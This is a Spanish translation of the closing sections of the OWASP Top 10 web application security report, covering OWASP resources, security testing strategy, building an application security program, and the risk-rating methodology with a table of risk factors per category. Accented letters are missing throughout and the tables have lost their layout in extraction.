OWASP ha producido un gran nmero de recursos gratuitos y abiertos, que puede utilizar para gestionar la seguridad de las
aplicaciones en su organizacin. A continuacin se presentan algunos de los amplios recursos que OWASP ha producido para ayudar
a las organizaciones a generar aplicaciones web seguras y APIs. A continuacin presentamos recursos adicionales de OWASP que
pueden ayudar a las organizaciones a verificar la seguridad de sus aplicaciones y APIs.

Para producir aplicaciones web seguras, debe definir que significa seguro para sa aplicacin. OWASP
Requisitos recomienda utilizar estndar de verificacin de seguridad en aplicaciones (ASVS) OWASP como gua
de Seguridad para ajustar los requisitos de seguridad de su(s) aplicacin(es).
en
Aplicaciones ASVS ha sido actualizado mnimamente en los aos pasados, con la versin 3.0.1 lanzada a mediados del
2016. Si es un agente externo considere la OWASP Secure Software Contract Annex.
.

Es ms rentable disear seguridad desde el principio que aadir seguridad a su(s) aplicacin(es). OWASP
Arquitectura
recomienda la Gua de desarrollo OWASP y las hojas de prevencin de trampas OWASP como puntos de
de Seguridad inicio ptimos para guiarlo en el diseo de la seguridad.
en
Aplicaciones La hoja de cdigos rpidos ha sido actualizada y expandida desde el que fue lanzada en l 2013.
.

Construir controles de seguridad fuerte y utilizable es excepcionalmente difcil. Un conjunto de controles


Arquitectura estndar de seguridad simplifican radicalmente el desarrollo de aplicaciones seguras. OWASP recomienda el
de Seguridad proyecto Enterprise Security API (ESAPI) como modelo para las APIs de seguridad necesarias para
en producir aplicaciones web y APIs seguras. ESAPI provee una referencia de implementacin en Java. Muchos
frameworks populares vienen con controles de seguridad para la automatizacin, validacin, CSRF.
Aplicaciones
.

Ciclo de Vida Para mejorar el proceso que su organizacin utiliza al construir aplicaciones, OWASP recomienda el Modelo
de garanta de la madurez del software OWASP (SAMM). Este modelo ayuda a las organizaciones a
de Desarrollo formular e implementar estrategias para el software seguro adaptado a los riesgos especficos de la
Seguro organizacin. Cambios significantes fue lanzado en el 2017.

Educacin El Proyecto educacional OWASP brinda materiales de formacin para ayudar a educar a desarrollares en
de la seguridad de aplicaciones Web, y ha compilado un gran nmero de presentaciones educativas. Para una
formacin prctica acerca de vulnerabilidades, pruebe OWASP WebGoat, WebGoat.net o OWASP Broken
Seguridad en Web Application Project. Para mantenerse actualizado, recurra a una Conferencia AppSec OWASP o a
Aplicaciones reuniones de los captulos OWASP locales.
.

Hay un gran nmero de recursos adicionales OWASP para su uso. Visite la Pgina de Proyectos OWASP, lista todos los proyectos
de OWASP, organizados por la calidad de la distribucin de cada proyecto. La mayora de los recursos estn disponibles en la WIKI y
otros documentos se pueden descargar en copia fsica como en eBooks.

Traducido por XyZ para la comunidad de Underc0de


.

+T Qu ms hay para testeos de seguridad

Establecer un continuo testeo en la seguridad de las aplicaciones.

Construir cdigo de forma segura es importante. Pero tambin critico de verificar que la seguridad que intenta construir es
actualmente presente, correctamente implementada, y utilizada en todos lados que deben suponerse. El objetivo de verificar la
seguridad en una aplicacin es proveer esta evidencia. El trabajo es difcil y complejo y los procesos modernos de desarrollos como
Agile o DevOps colocan una presin extrema en las aproximaciones tradicionales de las herramientas. Entonces lo animamos a
colocar metas en la importancia de su total aplicaciones o portfolio de aplicaciones y realizarlo de forma beneficio/costo efectivo.

Los riesgos modernos son rpidamente cambiantes, los das de escaneo o testeos de seguridad en una aplicacin en busca de
vulnerabilidades una vez al ao o ms, deben ser ms prximos. Busque ampliar los canales existentes de desarrollo con
automatizacin de seguridad que no vuelven lento el proceso del desarrollo. Sea la aproximacin que elija, considere el costo anual
de testear, priorizar, remediar, re-testear y re-desarrollar una simple aplicacin multiplicada por el tamao de su conjunto de
aplicaciones.

Entender el Antes de comenzar el testeo, asegrese de comprender donde es importante gastar el tiempo. Priorizar
Modelo de el origen de los agentes de amenazas, si no cuenta con uno, necesita crear uno antes de testear.
Considere utilizar OWASP ASVS y la OWASP gua de verificacin como un ingreso y no apropiarse de
Amenazas.
herramientas de vendedores o terceros para decidir lo que es importante para su negocio.

Comprender su La aproximacin de un testeo de seguridad en una aplicacin, debe ser altamente compatible con el
SDLC. personal, proceso y herramientas que utilice en el ciclo de desarrollo de software (SDLC). Trate de
fortalecer pasos extras, puertas y revisiones, son una causa comn de desacuerdo, y luchas a escala.
Busque oportunidades naturales para obtener informacin de seguridad y retro alimentacin en el
proceso.

Estrategias de Elija la simplicidad, rapidez, las tcnicas mas efectivas para verificar cada requerimiento. El Proyecto
Testeo. OWASP Benchmark, el cual ayuda a medir la habilidad de las herramientas de seguridad detectando
muchos de los riesgos incluidos en el OWASP Top 10, pueden ser til en seleccionar las mejores
herramientas para sus especficas necesidades. Asegrese de considerar los recursos humanos
necesarios para tratar con falsos positivos como un serio peligro de un falso negativo.

Lograr Cobertura No debe comenzar a testear todos. Enfquese en lo importante y expanda la verificacin del programa.
y Precisin. Esto significa expandir un conjunto de defensas de seguridad y riesgos que estn siendo verificadas
automticamente, como expandir la cobertura sobre las aplicaciones y APIs. Este objetivo es tener
donde la esencia de la seguridad de todas sus aplicaciones estn en verificacin continua.

Realizar Sin importar lo bueno que sea realizando testeos, no har ninguna diferencia a menos que lo comunique
Descubrimientos de forma efectiva. Construir confianza mostrando que entiende cmo funciona la aplicacin. Describir
Asombrosos eficazmente como puede ser abusada sin lingo e incluir un escenario real de ataque que lo haga real.
Realizar una estimacin real de cun difcil la vulnerabilidad es descubrir la vulnerabilidad y explotarla, y
cuan daino puede ser. Finalmente, distribuir los descubrimientos en los equipos de desarrollo que estn
utilizando, no en archivos PDF.

Traducido por XyZ para la comunidad de Underc0de


+O Prximos pasos para las organizaciones.

Comience hoy su programa de seguridad en aplicaciones.

La seguridad en las aplicaciones yo no es opcional. Entre el aumento de los ataques y presiones de cumplimiento normativo, las
organizaciones deben establecer un mecanismo eficaz para asegurar sus aplicaciones. Dado el asombroso nmero de aplicaciones y
lneas de cdigo que ya estn en produccin, muchas organizaciones estn luchando por conseguir gestionar el enorme volumen de
vulnerabilidades. OWASP recomienda a las organizaciones establecer un programa de seguridad de las aplicaciones para aumentar el
conocimiento y mejorar la asegurar en todo su catlogo de aplicaciones y APIs. Conseguir un nivel de seguridad de las aplicaciones
requiere diversas partes de una organizacin trabajen en conjunto de manera eficaz, incluyendo los departamentos de seguridad y
auditoria, desarrollo de software, gestin ejecutiva y negocio. Requiere que la seguridad sea visible para que todos los involucrados
puedan ver y entender la postura de la organizacin en cuanto a seguridad en aplicaciones. Tambin es necesario centrarse en las
actividades y resultados que realmente ayuden a mejorar la seguridad de la empresa mediante la reduccin de riesgo de la forma ms
rentable posible. Algunas de las actividades clave en la efectiva aplicacin de los programas de seguridad incluyen:

Establecer un programa de seguridad de aplicacin e impulsar su adopcin.


Realizar un anlisis de brechas de capacidad entre su organizacin y los empleados para definir las reas
Comience claves de una mejora y un plan de ejecucin.
Obtener la aprobacin y direccin para establecer una campaa de concientizacin de seguridad en las
aplicaciones para toda la organizacin IT.

Identificar y establecer prioridades en su catlogo de aplicaciones en base al riesgo inherente.


Enfoque Crear un modelo perfilado de riesgo de las aplicaciones para medir y priorizar las aplicaciones de su
basado en catlogo.
el catlogo Establecer directrices para garantizar y definir adecuadamente los niveles de cobertura y rigor requeridos.
Establecer un modelo de calificacin de riesgo comn junto a un conjunto de factores de impacto y
de riesgos.
probabilidad que reflejan la tolerancia al riesgo de su organizacin.

Establecer un conjunto de polticas y estndares que proporcionen una base de referencia de seguridad de
Cuente con las aplicaciones, las cuales todo el equipo de desarrollo pueda adherirse.
una base Definir un conjunto de controles de seguridad reutilizables comn que complementen sas polticas y
slida. estndares, proporcionando una gua en su uso en el diseo y desarrollo.
Establecer un perfil de formacin en seguridad en aplicaciones que sea un requisito, dirigido a los
diferentes roles y tipologas de desarrollo.

Integre la Definir e integrar actividades de implementacin de seguridad y verificacin en los procesos operativos y de
Seguridad desarrollos existentes. Estas actividades incluyen Modelado de amenazas, Diseo y Revisin seguros,
en los Desarrollo seguro y Revisin de cdigo, Pruebas de intrusin, contra medida.
Procesos Para tener xito, debe proporcionar a expertos en la materia y servicios de apoyo a los equipos de
Existentes. desarrollos y de proyecto.

Gestionar a travs de mtricas. Manejar las decisiones de mejora y provisin de recursos econmicos
Proporcione basndose en las mtricas y anlisis de los datos capturados. Las mtricas incluyen el seguimiento de las
una visin practicas/actividades de seguridad, vulnerabilidades presentes, mitigadas, coberturas de aplicacin,
de gestin. densidad de defectos por tipo y cantidad de instancias.
Analizar los datos de las actividades de implementacin y verificacin para buscar el origen de la causa y
patrones en las vulnerabilidades para poder conducir mejoras estratgicas en la organizacin-.

Traducido por XyZ para la comunidad de Underc0de


+R Notas sobre los Riesgos

Lo importante son los riesgos, no las debilidades.

Aunque las versiones del 2007 y anteriores del OWASP TOP 10 se centraban en identificar las vulnerabilidades ms prevalentes, el
OWASP Top 10 siempre ha sido organizo sobres los riesgos. Esto centra sobre los riesgos que han causado algunas confusiones
inentendibles en donde las personas buscan una debilidad hermtica. El OWASP Top 10 del ao 2010 ha clarificado el riesgo
centrado en el Top 10 siendo muy explcito sobre como los agentes de amenazas, vectores de ataques, debilidades, impactos tcnicos
e impactos combinados al negocio se fusionaron para producir riesgos. Esta versin del OWASP Top 10 contina con la misma
metodologa.

La metodologa de medir los riesgos en el Top 10 est basado en la OWASP Risk Rating Methodology. Por cada tem del Top 10,
estimamos el riesgo tpico que cada debilidad introduce a una aplicacin web buscando factores comunes probables y factores de
impacto para cada debilidad comn. Entonces ordenamos el ranking del Top 10 de acuerdo a esas debilidades que tpicamente
introducen el riesgo mas significante a una aplicacin. Estos factores son actualizados con cada nuevo lanzamiento del Top 10 como
los cambios.

El OWASP Risk Rating Methodology define numerosos factores para ayudar a calcular el riesgo de identificar vulnerabilidades. Sin
embargo el Top 10 realiza generalidades, adems de una vulnerabilidad especifica en aplicaciones reales y APIs. Como consecuencia
nunca podremos ser precisos como los dueos de los sistemas propios que pueden calcular los riesgos de su(s) aplicacin(es). Est
mejor preparado para juzgar la importancia de sus aplicaciones, datos e informacin, cules son sus amenazas y sobre como su
sistema ha sido construido para ser operado.

Nuestra metodologa incluye tres factores probables para cada debilidad (prevalencia, detectabilidad y fcil explotacin) y un factor de
impacto (impacto tcnico). La perseverancia de debilidades es un factor que generalmente no calcula. Para la perseverancia de
informacin y datos, hemos estado brindando estadsticas desde un nmero amplio de organizaciones (como referenciamos en la
seccin de Agradecimientos en la pgina 4) y hemos promediado sus datos en conjunto con el Top 10 partiendo una lista existente de
perseverancia. Estos datos han sido combinados con los otros dos factores promediados (detectabilidad y fcil explotabilidad) para
calcular una clasificacin promedio para cada vulnerabilidad. La clasificacin promedio ha sido multiplicada por nuestra estimacin
tcnica de impacto promedio para cada tem que se encuentra en la existente clasificacin de riesgos en el cada tem del Top 10.

Notar que esta aproximacin no toma el promedio del agente de amenaza en una cuenta. O si una cuenta para cualquiera de los
detalles tcnicos asociados con su aplicacin particular. Cualquiera de estos factores puede afectar significativamente el promedio en
general de un atacante que encuentre y explote una vulnerabilidad en particular. Esta clasificacin tambin no toma en cuenta el
impacto actual en su empresa. Su organizacin debe decidir cunto cuesta un riesgo de seguridad desde una aplicacin y APIs, la
organizacin est dispuesta a aceptar la cultura brindada, industria y el ambiente que lo regula. El propsito del Top 10 de OWASP
no es realizar los anlisis de riesgos por usted.

La siguiente tabla ilustra, nuestro clculo del riesgo para A3: Referencias de Sitios Cruzados (XSS), es predominante y garantizado
nicamente en muy extendido en una aproximacin a 0. Todos los dems riesgos listados desde deseados hasta poco comunes
(valores del 1 al 3).

Especifico de la Explotabilidad Frecuencia Impacto Especifico de la


PROMEDIO Detectabilidad
aplicacin MUY DIFUNDIDO MODERADO aplicacin/negocio
FACIL

2 0 1 2

1 * 2

Traducido por XyZ para la comunidad de Underc0de


+F Detalles sobre los factores de Riesgo.

Resumen del Top 10 de los Factores de Riesgo


La siguiente tabla muestra un resumen del Top 10 de los Riesgos de Seguridad en las Aplicaciones, y los factores de riesgo que
hemos asignado a cada riesgo. Estos factores fueron determinados basados en las estadsticas disponibles y la experiencia del equipo
de OWASP Top 10. Para entender stos riesgos para una aplicacin particular u organizacin, debe considerar su propio riesgo
especfico y agentes de amenaza e impacto al negocio. Incluso una debilidad ofensiva puede no presentar un serio riesgo si no hay
agentes de amenazas en posicin para realizar el ataque necesario o el impacto al negocio es insignificante para los activos
involucrados.

RIESGO

A1- Inyeccin Especifico de Especifico de la


FACIL COMUN PROMEDIO SEVERO
la aplicacin aplicacin
A2- Autenticacin Especifico de Especifico de la
PROMEDIO COMUN PROMEDIO SEVERO
la aplicacin aplicacin
A3- XSS Especifico de MUY Especifico de la
PROMEDIO PROMEDIO MODERADO
la aplicacin DIFUNDID aplicacin
O
A4- Control de Especifico de Especifico de la
Acceso FACIL DIFUNDID FACIL MODERADO
la aplicacin aplicacin
O
A5- Especifico de Especifico de la
FACIL COMUN FACIL MODERADO
la aplicacin aplicacin
A6- Datos Sensibles Especifico de POCO Especifico de la
DIFICIL PROMEDIO SEVERO
la aplicacin COMUN aplicacin
A7- Proteccin Ataq. Especifico de Especifico de la
FACIL COMUN PROMEDIO MODERADO
la aplicacin aplicacin
A8- CSRF Especifico de POCO Especifico de la
PROMEDIO FACIL MODERADO
la aplicacin COMUN aplicacin
A9- Componentes. Especifico de Especifico de la
PROMEDIO COMUN PROMEDIO MODERADO
la aplicacin aplicacin
A10- Prot. API Especifico de Especifico de la
PROMEDIO COMUN DIFICIL MODERADO
la aplicacin aplicacin

RIESGOS ADICIONALES A CONSIDERAR.

El Top 10 cubre un amplio espectro, hay muchos ms riesgos a considerar y evaluar en su organizacin. Algunos de
stos han aparecido en previas versiones del Top 10, y otras no, incluyendo nuevas tcnicas de ataques que estn
comenzando a identificarse con el pasar del tiempo. Otros riesgos importantes en las aplicaciones (en orden alfabtico)
que debe considerar incluyen:

Clickjacking (CAPEC-103)
Denial of Service (CWE-400) (En el 2004 fue Top 10 Entry 2004-A9)
Deserialization of Untrusted Data (CWE-502) Para defensas ver: OWASP Deserialization Cheat Sheet
Expression Language Injection (CWE-917)
Information Leakage (CWE-209) and Improper Error Handling (CWE-388) (Fue parte del Top 10 en el 2007 Entry
2007-A6)
Hotlinking Third Party Content (CWE-829)
Malicious File Execution (CWE-434) (Fue parte del Top 10 en el 2007 - Entry 2007-A3)
Mass Assignment (CWE-915)
Server-Side Request Forgery (SSRF) (CWE-918)
Unvalidated Redirects and Forwards (CWE-601) (Fue parte del Top 10 en el 2013 Entry 2013-A10)
User Privacy (CWE-359)

Traducido por XyZ para la comunidad de Underc0de